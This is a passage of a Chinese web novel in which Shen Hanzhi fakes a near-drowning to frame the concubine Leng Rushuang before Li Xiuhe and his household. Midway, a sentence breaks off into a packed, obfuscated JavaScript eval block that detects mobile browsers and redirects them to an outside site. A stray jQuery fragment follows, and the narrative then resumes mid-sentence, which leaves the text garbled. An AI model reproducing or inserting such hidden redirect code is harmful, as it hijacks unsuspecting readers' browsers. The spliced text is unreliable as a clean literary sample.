显然冷如霜也没想到沈涵芝会这么狠,说跳就跳。
“夫,夫君……”冷如霜吓得脸都白了,根本说不出一句完整的话,只能一会儿无措地看着湖里扑腾的沈涵芝,一会儿惶恐地看着冲过来满脸怒气的李修鹤。
耳边是翠柳撕心裂肺的哭声,李修鹤想都没想,脱了外衫便跳进了湖里。
湖里的沈涵芝看着在慌张地呼救,实则两只手熟练地扑腾着水面,只是营造出一种手脚慌乱的感觉。
小时候她随着沈母回江南外祖家,这凫水的技能还是她娘教给她。当时沈母一边教她,一边语重心长地和她说:“乖囡,自己学会凫水,以后若是有人想用落水这一招害你,起码你不会一被人推下水就慌对不对?”
那时候她还小,不懂为什么会有人用落水来害她。
直到渐渐长大,听到了很多人家的那些后宅私事,才明白一个人的家里不是看着那么和谐美满。
好在沈父和沈母一直琴瑟和鸣,府里也并无姬妾。
如今,为了防止别人害她的凫水,居然成了她来害别人的招数,真是讽刺。
李修鹤游到她身边,沈涵芝立马装作体力不支的样子,软倒在李修鹤怀里,双目无神小嘴发白,俨然一副奄奄一息的模样。
“修,修鹤……哥哥……妹妹不是……故意的……你……不要……怪罪她……”沈涵芝死死地抓住李修鹤的衣襟,一直默默给他往下拉,试图给这人加点难度,也提防着李修鹤体力不支,到时候妨碍她一脚踹了李修鹤。
李修鹤见沈涵芝都这副模样了还在给冷如霜求情,不由得对冷如霜升起了一点不悦。
冷如霜不喜欢沈涵芝他是知道的,提出和沈涵芝一天进门,甚至是让沈涵芝进侧门也是他默许的,因为他也要打压沈涵芝。但在这么要紧的关头,居然不能控制一下自己的妒忌心,竟然不顾大局将沈涵芝推进湖里。
万一沈涵芝上岸后又不愿进门了怎么办?
李修鹤抓住岸边小厮递来的竿子,抱着沈涵芝上了岸,一把拿过一边冷如霜手里的外衫,披在沈涵芝身上。看着瑟瑟发抖脸色发白的沈涵芝,不知道是装还是真情流露,眼里竟然真的流露出一丝心疼,柔声道:“好了好了,修鹤哥哥在呢。”说着,赶紧冲周围的家丁大喊:“还不赶紧叫大夫?”
沈涵芝的早膳都要吐出来了,好在翠柳及时解救了她:“小姐!若是你出了什么事奴婢可怎么和老爷夫人少爷交代啊!好好来个侯府,怎么就被人推下水了呢,这要是落下病根可怎么是好?”说着,翠柳一边不动声色把沈涵芝往自己这边拉,一边哭天喊地,生怕别人不知道自家小姐在侯府里受了这等委屈。
见李修鹤还想再说什么,沈涵芝生怕这厮再说什么倒胃口的话,这样她就真装不下去了,干脆头一歪眼睛一闭,倒在翠柳怀里晕过去了。
手忙脚乱把沈涵芝送到客人住的厢房,又目送着大夫进了厢房,李修鹤才对一直跟在他身后六神无主的冷如霜道:“今日的事情,你有些莽撞了。”“夫君!”冷如霜如遭雷劈,泫然欲泣地看着李修鹤,仿佛受了天大的委屈:“夫君真的相信是妾身把姐姐推下去的?妾身是什么样的人夫君还不知道吗?”
李修鹤本就心烦,生怕闹过这一出沈涵芝又反悔,此时听见冷如霜的哭声更烦,一事无成的女人,坏了他的计划不说,还只会哭哭啼啼,一点用都没有。
“我都看见了,你在湖边把涵芝推下去的。如霜,难不成会有人自己跳进去不成?”但到底是自己喜欢的女人,李修鹤还是耐着性子解释了一句,可冷如霜一脸不敢置信:“夫君,眼见未必为实啊!”
李修鹤不耐烦地“啧”了一声:“如霜,你的意思是,涵芝是拿生命在陷害你?”
就在冷如霜要点头时,大夫从厢房里出来,身后还跟着翠柳,看样子是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14203016|150873||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要跟着大夫去抓药。李修鹤赶忙迎上去:“大夫,涵芝怎么样?可有大碍?”
道骨仙风的大夫摸了摸自己长长的胡子,道:“这位姑娘落水后呛了几口水,又因惊吓过度,这才昏了过去,现在已经醒来了。待老夫给这位姑娘开上几方驱寒的药,之后好生休养几天也就没事了。”李修鹤这才松了口气:“多谢大夫。”
床上和床帐大眼瞪小眼的沈涵芝听见脚步声,一偏头就见李修鹤步履匆匆走过来,身后还跟着满脸委屈的冷如霜,看见她还偷偷瞪了她一眼。
沈涵芝赶紧“虚弱”地咳嗽两声,“无力”地想要起身,李修鹤赶紧虚虚扶着她:“没事,你躺着就行。”沈涵芝心安理得地躺了回去,张嘴将冷如霜还未说出口的话堵在喉咙里:“修鹤哥哥,不要怪妹妹,是我在湖边走的时候不小心滑了脚,这才落了水,妹妹是打算拉我的。”
李修鹤只觉得心里熨帖极了,虽然是他亲眼看着冷如霜把沈涵芝推下水了,但要他惩罚自己心爱的女人,却怎么也下不去手。好在沈涵芝经过这几日的冷落,竟也变得温柔可人,懂得体贴起来。
一看到李修鹤眼里的满意,沈涵芝就浑身不自在。更别提还有一个冷如霜,神情倒是楚楚可怜,就是那眼神似乎是要吃了祂。
这两口子,一个既要又
要,一个口蜜腹剑,倒是绝配。
沈涵芝又装模作样咳了几声,并没有打算放过恶心冷如霜:“今天也让妹妹受到惊吓了,是我的不是。修鹤哥哥可要替涵芝好好安慰一下妹妹,我最看不得像妹妹这样的美人被吓到了。”一瞬间,冷如霜的表情变得十分难以言喻。
大概就是明知是讽刺还要故作体面地笑出来。
这番话简直说到李修鹤心坎里去,再加上沈涵芝这一副病歪歪的样子更是平添几分风姿,此时的李修鹤怎么看沈涵芝怎么顺眼,就连声音都柔和了不少:“好,你放心。”